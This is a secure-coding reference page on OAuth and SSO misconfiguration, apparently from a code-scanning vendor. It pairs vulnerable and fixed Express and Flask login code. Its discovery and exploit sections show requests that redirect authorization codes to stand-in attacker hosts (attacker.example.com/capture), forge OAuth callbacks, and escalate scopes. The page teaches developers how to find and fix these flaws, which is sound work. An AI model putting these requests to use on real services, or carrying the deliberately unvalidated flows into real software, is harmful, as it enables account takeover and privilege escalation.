OAuth & SSO Misconfiguration

OAuthSSOSAMLOpenID ConnectOIDC

OAuth & SSO Misconfiguration at a glance

What it is: Security flaws in OAuth, OpenID Connect, or SAML implementations that allow attackers to bypass authentication or hijack user sessions.
Why it happens: OAuth/SSO vulnerabilities occur when state or redirect parameters, PKCE, JWTs, issuers, or scopes are not properly validated, enabling token misuse, open redirects, or unauthorized access.
How to fix: Validate the state parameter to prevent CSRF, use PKCE for public clients, strictly verify redirect URIs, and properly validate token signatures and claims.

Overview

OAuth and SSO misconfigurations represent a class of vulnerabilities specific to federated authentication systems. These protocols involve multiple parties (authorization servers, clients, resource servers) and complex flows that must be implemented correctly to be secure.

Common vulnerabilities include missing or weak state validation leading to CSRF, open redirect vulnerabilities in redirect_uri, missing PKCE for mobile/SPA applications, improper token validation, and scope escalation attacks.

sequenceDiagram participant Attacker participant Victim participant App participant OAuth as OAuth Provider Attacker->>OAuth: Initiate OAuth (attacker's account) OAuth-->>Attacker: redirect with code=ATTACKER_CODE Attacker->>Victim: Send link with code=ATTACKER_CODE Victim->>App: Complete OAuth with code=ATTACKER_CODE App->>OAuth: Exchange code (no state validation) OAuth-->>App: Access token (attacker's account) App-->>Victim: Logged in as attacker Note over App: Missing: State parameter validation
A potential flow for a OAuth & SSO Misconfiguration exploit

Where it occurs

OAuth and SSO vulnerabilities occur in authorization flows lacking proper state, redirect, or scope validation, missing PKCE for public clients, or improperly verifying tokens and issuers.

Impact

OAuth/SSO misconfigurations lead to account takeover through authorization code interception, session hijacking, token theft, authentication bypass, and privilege escalation through scope manipulation.

Prevention

Prevent this vulnerability by enforcing state validation, using PKCE for public clients, restricting redirect URIs to an allowlist, validating JWT integrity and claims, using the authorization code flow, and enforcing strict scope checks.

Examples

Switch tabs to view language/framework variants.

OAuth implementation without state parameter enables CSRF attacks

OAuth flow missing state validation allows attackers to trick victims into linking attacker's account.

Vulnerable
JavaScript • Express + Passport — Bad
// Vulnerable: No state parameter in OAuth flow
const express = require('express');
const passport = require('passport');
const GoogleStrategy = require('passport-google-oauth20').Strategy;

passport.use(new GoogleStrategy({
    clientID: process.env.GOOGLE_CLIENT_ID,
    clientSecret: process.env.GOOGLE_CLIENT_SECRET,
    callbackURL: 'https://app.example.com/auth/google/callback'
  },
  function(accessToken, refreshToken, profile, cb) {
    // Find or create user
    User.findOrCreate({ googleId: profile.id }, function (err, user) {
      return cb(err, user);
    });
  }
));

app.get('/auth/google',
  // Missing: state parameter generation
  passport.authenticate('google', { scope: ['profile', 'email'] })
);

app.get('/auth/google/callback',
  // Missing: state parameter validation
  passport.authenticate('google', { failureRedirect: '/login' }),
  function(req, res) {
    // User is authenticated and logged in
    res.redirect('/dashboard');
  }
);
  • Line 18:
  • Line 23:

The vulnerable code initiates an OAuth flow without generating or validating a state parameter. This makes the application vulnerable to OAuth CSRF attacks.

An attacker can start an OAuth flow with their own account, capture the authorization code from the redirect, and trick a victim into completing that OAuth flow in their session.

Without state validation, the application cannot distinguish between legitimate OAuth callbacks initiated by the user and malicious callbacks injected by an attacker.

This leads to account linking attacks where the victim's session becomes associated with the attacker's OAuth account, potentially exposing the victim's data.

Secure
JavaScript • Express + Passport — Good
// Secure: Proper state parameter implementation
const express = require('express');
const passport = require('passport');
const GoogleStrategy = require('passport-google-oauth20').Strategy;
const crypto = require('crypto');

passport.use(new GoogleStrategy({
    clientID: process.env.GOOGLE_CLIENT_ID,
    clientSecret: process.env.GOOGLE_CLIENT_SECRET,
    callbackURL: 'https://app.example.com/auth/google/callback',
    // Enable state parameter
    state: true
  },
  function(accessToken, refreshToken, profile, cb) {
    User.findOrCreate({ googleId: profile.id }, function (err, user) {
      return cb(err, user);
    });
  }
));

app.get('/auth/google', function(req, res, next) {
  // Generate cryptographically secure state
  const state = crypto.randomBytes(32).toString('hex');
  
  // Store state in session with timestamp
  req.session.oauthState = {
    value: state,
    timestamp: Date.now()
  };
  
  // Pass state to OAuth provider
  passport.authenticate('google', {
    scope: ['profile', 'email'],
    state: state
  })(req, res, next);
});

app.get('/auth/google/callback', function(req, res, next) {
  const receivedState = req.query.state;
  const storedState = req.session.oauthState;
  
  // Validate state parameter
  if (!receivedState || !storedState) {
    return res.status(403).json({ error: 'Missing state parameter' });
  }
  
  if (receivedState !== storedState.value) {
    return res.status(403).json({ error: 'Invalid state parameter' });
  }
  
  // Check state is not expired (5 minutes)
  const stateAge = Date.now() - storedState.timestamp;
  if (stateAge > 5 * 60 * 1000) {
    return res.status(403).json({ error: 'State parameter expired' });
  }
  
  // Clear state after validation
  delete req.session.oauthState;
  
  // Proceed with authentication
  passport.authenticate('google', {
    failureRedirect: '/login',
    failureFlash: true
  })(req, res, function() {
    res.redirect('/dashboard');
  });
});
  • Line 19:
  • Line 23:
  • Line 37:
  • Line 45:

The secure implementation generates a cryptographically secure state parameter using crypto.randomBytes() when initiating the OAuth flow. This state is stored in the user's session with a timestamp.

The state parameter is passed to the OAuth provider and returned in the callback URL. Before processing the authorization code, the application validates that the received state matches the stored state.

State validation ensures that the OAuth callback is for the same session that initiated the request, preventing CSRF attacks where an attacker tries to inject their own authorization code.

The state expires after 5 minutes and is deleted after validation, preventing replay attacks and ensuring one-time use.

This implementation follows OAuth 2.0 RFC 6749 security recommendations for preventing CSRF attacks in authorization flows.

Engineer Checklist

  • Implement and validate state parameter for CSRF protection

  • Use PKCE for all public clients (mobile, SPA)

  • Strictly validate redirect_uri against allowlist

  • Verify JWT signatures using provider's public keys

  • Validate issuer (iss), audience (aud), and expiration (exp) claims

  • Use authorization code flow, avoid implicit flow

  • Validate scopes and don't trust client-provided scopes

  • Implement token refresh securely

  • Use secure token storage (not localStorage for sensitive tokens)

  • Test OAuth flows for state bypass and code interception

End-to-End Example

An OAuth implementation missing state validation allows an attacker to perform CSRF and link their account to a victim's session.

Vulnerable
JAVASCRIPT
# Vulnerable: No state validation in OAuth flow
from flask import Flask, request, redirect, session
import requests

app = Flask(__name__)

@app.route('/oauth/login')
def oauth_login():
    # Missing state parameter!
    auth_url = f"https://oauth.provider.com/authorize?client_id={CLIENT_ID}&redirect_uri={REDIRECT_URI}"
    return redirect(auth_url)

@app.route('/oauth/callback')
def oauth_callback():
    code = request.args.get('code')
    
    # No state validation - vulnerable to CSRF!
    token_response = requests.post('https://oauth.provider.com/token', data={
        'code': code,
        'client_id': CLIENT_ID,
        'client_secret': CLIENT_SECRET
    })
    
    access_token = token_response.json()['access_token']
    session['access_token'] = access_token
    
    return 'Login successful'
Secure
JAVASCRIPT
# Secure: Implement state validation and PKCE
from flask import Flask, request, redirect, session
import requests
import secrets
import hashlib
import base64

app = Flask(__name__)

def generate_pkce_pair():
    code_verifier = base64.urlsafe_b64encode(secrets.token_bytes(32)).rstrip(b'=').decode()
    code_challenge = base64.urlsafe_b64encode(
        hashlib.sha256(code_verifier.encode()).digest()
    ).rstrip(b'=').decode()
    return code_verifier, code_challenge

@app.route('/oauth/login')
def oauth_login():
    # Generate cryptographically secure state
    state = secrets.token_urlsafe(32)
    session['oauth_state'] = state
    
    # Generate PKCE parameters
    code_verifier, code_challenge = generate_pkce_pair()
    session['code_verifier'] = code_verifier
    
    auth_url = (
        f"https://oauth.provider.com/authorize?"
        f"client_id={CLIENT_ID}&"
        f"redirect_uri={REDIRECT_URI}&"
        f"state={state}&"
        f"code_challenge={code_challenge}&"
        f"code_challenge_method=S256"
    )
    return redirect(auth_url)

@app.route('/oauth/callback')
def oauth_callback():
    code = request.args.get('code')
    state = request.args.get('state')
    
    # Validate state parameter (CSRF protection)
    if not state or state != session.get('oauth_state'):
        return 'Invalid state parameter', 403
    
    # Clear state after validation
    session.pop('oauth_state', None)
    
    # Exchange code with PKCE
    token_response = requests.post('https://oauth.provider.com/token', data={
        'code': code,
        'client_id': CLIENT_ID,
        'client_secret': CLIENT_SECRET,
        'code_verifier': session.get('code_verifier'),
        'grant_type': 'authorization_code'
    })
    
    if token_response.status_code != 200:
        return 'Token exchange failed', 403
    
    access_token = token_response.json()['access_token']
    session['access_token'] = access_token
    session.pop('code_verifier', None)
    
    return 'Login successful'

Discovery

Analyze OAuth flows for missing security parameters and token validation flaws.

  1. 1. Test redirect_uri validation

    oauth

    Action

    Attempt open redirect in OAuth flow to test if redirect_uri is properly validated

    Request

    GET https://api.example.com/oauth/authorize?client_id=app_client_123&redirect_uri=https://evil.example.com/steal&response_type=code&scope=read:user

    Response

    Status: 302
    Body:
    {
      "vulnerability": "Open redirect in OAuth flow",
      "authorization_code": "AUTH_CODE_abc123xyz",
      "leaked_to": "evil.example.com",
      "note": "Authorization code sent to attacker's domain - redirect_uri not validated against allowlist!"
    }

    Artifacts

    open_redirect code_interception authorization_code_leaked
  2. 2. Test PKCE enforcement

    oauth

    Action

    Complete OAuth token exchange without PKCE parameters

    Request

    POST https://api.example.com/oauth/token
    Headers:
    Content-Type: application/x-www-form-urlencoded
    Body:
    {
      "grant_type": "authorization_code",
      "code": "AUTH_CODE_xyz789",
      "client_id": "app_client_123",
      "client_secret": "client_secret_abc",
      "redirect_uri": "https://app.example.com/callback",
      "note": "No code_verifier or code_challenge provided"
    }

    Response

    Status: 200
    Body:
    {
      "access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzEyMyIsInNjb3BlIjoicmVhZDp1c2VyIiwiaWF0IjoxNzA1MzE3NjAwfQ...",
      "token_type": "Bearer",
      "expires_in": 3600,
      "refresh_token": "refresh_abc123xyz",
      "vulnerability": "PKCE not enforced",
      "note": "Access token issued without code_verifier - vulnerable to authorization code interception!"
    }

    Artifacts

    missing_pkce code_interception_risk access_token_issued
  3. 3. Test state parameter validation

    oauth

    Action

    Complete OAuth flow without state parameter or with invalid state

    Request

    GET https://api.example.com/oauth/callback?code=ATTACKER_CODE_123&state=

    Response

    Status: 302
    Body:
    {
      "message": "OAuth login successful",
      "user_id": "attacker_oauth_account",
      "linked_to_session": "victim_session",
      "vulnerability": "Missing state validation enables CSRF",
      "note": "Victim's session linked to attacker's OAuth account without state verification!"
    }

    Artifacts

    csrf_vulnerability missing_state account_linking_attack
  4. 4. Test scope escalation

    oauth

    Action

    Manipulate scope parameter to request elevated privileges

    Request

    GET https://api.example.com/oauth/authorize?client_id=app_123&scope=read:user%20write:user%20admin:all&redirect_uri=https://app.example.com/callback&response_type=code

    Response

    Status: 302
    Body:
    {
      "vulnerability": "Scope escalation allowed",
      "requested_scopes": [
        "read:user",
        "write:user",
        "admin:all"
      ],
      "granted_scopes": [
        "read:user",
        "write:user",
        "admin:all"
      ],
      "registered_scopes": [
        "read:user",
        "write:user"
      ],
      "note": "Client requested 'admin:all' scope not in its registration - should be rejected but was granted!"
    }

    Artifacts

    scope_escalation privilege_escalation excessive_permissions

Exploit steps

Attacker exploits missing state validation or redirect_uri validation to hijack authentication.

  1. 1. Steal authorization codes via open redirect

    OAuth code interception via redirect_uri manipulation

    oauth

    Action

    Use open redirect vulnerability to steal victim's authorization codes

    Request

    GET https://api.example.com/oauth/authorize?client_id=app_client_123&redirect_uri=https://attacker.example.com/capture&response_type=code&scope=read:user%20write:user

    Response

    Status: 302
    Body:
    {
      "attack_summary": {
        "attacker_action": "Sent victim phishing link with manipulated redirect_uri",
        "victim_action": "Victim clicked and authorized application",
        "stolen_code": "VICTIM_AUTH_CODE_xyz789abc",
        "attacker_capability": "Can exchange code for access token",
        "attack_success": "Full account takeover possible"
      },
      "attacker_log": "Authorization code captured at attacker.example.com/capture endpoint"
    }

    Artifacts

    stolen_auth_code code_interception account_takeover_vector
  2. 2. Account takeover via OAuth CSRF

    Force victim to link attacker's OAuth account

    oauth

    Action

    Exploit missing state validation to perform CSRF and link attacker's account to victim session

    Request

    GET https://api.example.com/oauth/callback?code=ATTACKER_OAUTH_CODE_123
    Headers:
    Cookie: session=victim_session_abc; HttpOnly

    Response

    Status: 302
    Body:
    {
      "oauth_csrf_attack": {
        "attacker_preparation": "Attacker initiated OAuth flow and captured their own authorization code",
        "csrf_vector": "Attacker sent victim link to /oauth/callback?code=ATTACKER_CODE",
        "victim_state": "Victim was logged into app.example.com with active session",
        "result": "Victim's session now linked to attacker's OAuth account",
        "impact": "When victim uses 'Login with OAuth', they authenticate as attacker",
        "data_leak": "Victim's actions and data now visible to attacker's OAuth account"
      },
      "session_state": {
        "session_id": "victim_session_abc",
        "linked_oauth_account": "attacker_oauth_123@evil.com",
        "victim_unaware": true
      },
      "note": "Missing state validation allowed CSRF - victim's session hijacked"
    }

    Artifacts

    account_linking_csrf session_hijack account_compromise
  3. 3. Exchange stolen code for access token

    Use intercepted authorization code to obtain victim's access token

    oauth

    Action

    Exchange authorization code stolen via redirect_uri vulnerability for a valid access token

    Request

    POST https://api.example.com/oauth/token
    Headers:
    Content-Type: application/x-www-form-urlencoded
    Body:
    {
      "grant_type": "authorization_code",
      "code": "STOLEN_CODE_xyz789",
      "client_id": "app_client_123",
      "client_secret": "client_secret_abc",
      "redirect_uri": "https://app.example.com/callback"
    }

    Response

    Status: 200
    Body:
    {
      "access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ2aWN0aW1fdXNlcl83ODkiLCJzY29wZSI6InJlYWQ6dXNlciB3cml0ZTp1c2VyIiwiaWF0IjoxNzA1MzE3NjAwLCJleHAiOjE3MDUzMjEyMDB9...",
      "token_type": "Bearer",
      "expires_in": 3600,
      "refresh_token": "refresh_victim_xyz789",
      "scope": "read:user write:user",
      "account_takeover": {
        "victim_user_id": "victim_user_789",
        "victim_email": "victim@company.com",
        "attacker_access": "Full read/write access to victim's account",
        "persistence": "refresh_token enables long-term access",
        "detection_difficulty": "Appears as legitimate OAuth login"
      },
      "note": "Successfully exchanged stolen authorization code for victim's access token - full account takeover!"
    }

    Artifacts

    access_token refresh_token full_account_access account_takeover_complete
  4. 4. Exploit scope escalation for privilege escalation

    Request and receive elevated scopes beyond client registration

    oauth

    Action

    Manipulate OAuth flow to gain admin scopes not registered for the client

    Request

    POST https://api.example.com/oauth/token
    Headers:
    Content-Type: application/x-www-form-urlencoded
    Body:
    {
      "grant_type": "authorization_code",
      "code": "AUTH_CODE_admin_scope",
      "client_id": "app_client_123",
      "scope": "read:user write:user admin:delete_users admin:read_all",
      "redirect_uri": "https://app.example.com/callback"
    }

    Response

    Status: 200
    Body:
    {
      "access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhdHRhY2tlcl91c2VyIiwic2NvcGUiOiJyZWFkOnVzZXIgd3JpdGU6dXNlciBhZG1pbjpkZWxldGVfdXNlcnMgYWRtaW46cmVhZF9hbGwiLCJpYXQiOjE3MDUzMTc2MDB9...",
      "token_type": "Bearer",
      "scope": "read:user write:user admin:delete_users admin:read_all",
      "privilege_escalation": {
        "client_registered_scopes": [
          "read:user",
          "write:user"
        ],
        "client_requested_scopes": [
          "read:user",
          "write:user",
          "admin:delete_users",
          "admin:read_all"
        ],
        "scopes_granted": [
          "read:user",
          "write:user",
          "admin:delete_users",
          "admin:read_all"
        ],
        "vulnerability": "OAuth server granted admin scopes not in client registration",
        "impact": "Attacker can now delete users and read all data"
      },
      "admin_capabilities": [
        "Delete any user account",
        "Read all user data across tenants",
        "Modify system configurations",
        "Access audit logs"
      ],
      "note": "Scope validation bypass - attacker gained administrative privileges!"
    }

    Artifacts

    scope_escalation admin_privileges_granted privilege_escalation unauthorized_admin_access

Specific Impact

Account takeover through OAuth CSRF or authorization code interception.

Fix

Always generate and validate a cryptographically secure state parameter to prevent CSRF attacks in OAuth flows. Implement PKCE (Proof Key for Code Exchange) for all OAuth clients, especially public clients like SPAs and mobile apps. Strictly validate redirect_uri against an allowlist. Use the authorization code flow with PKCE instead of the implicit flow. Verify JWT signatures and validate all token claims (issuer, audience, expiration).

Detect This Vulnerability in Your Code

Sourcery automatically identifies oauth & sso misconfiguration vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free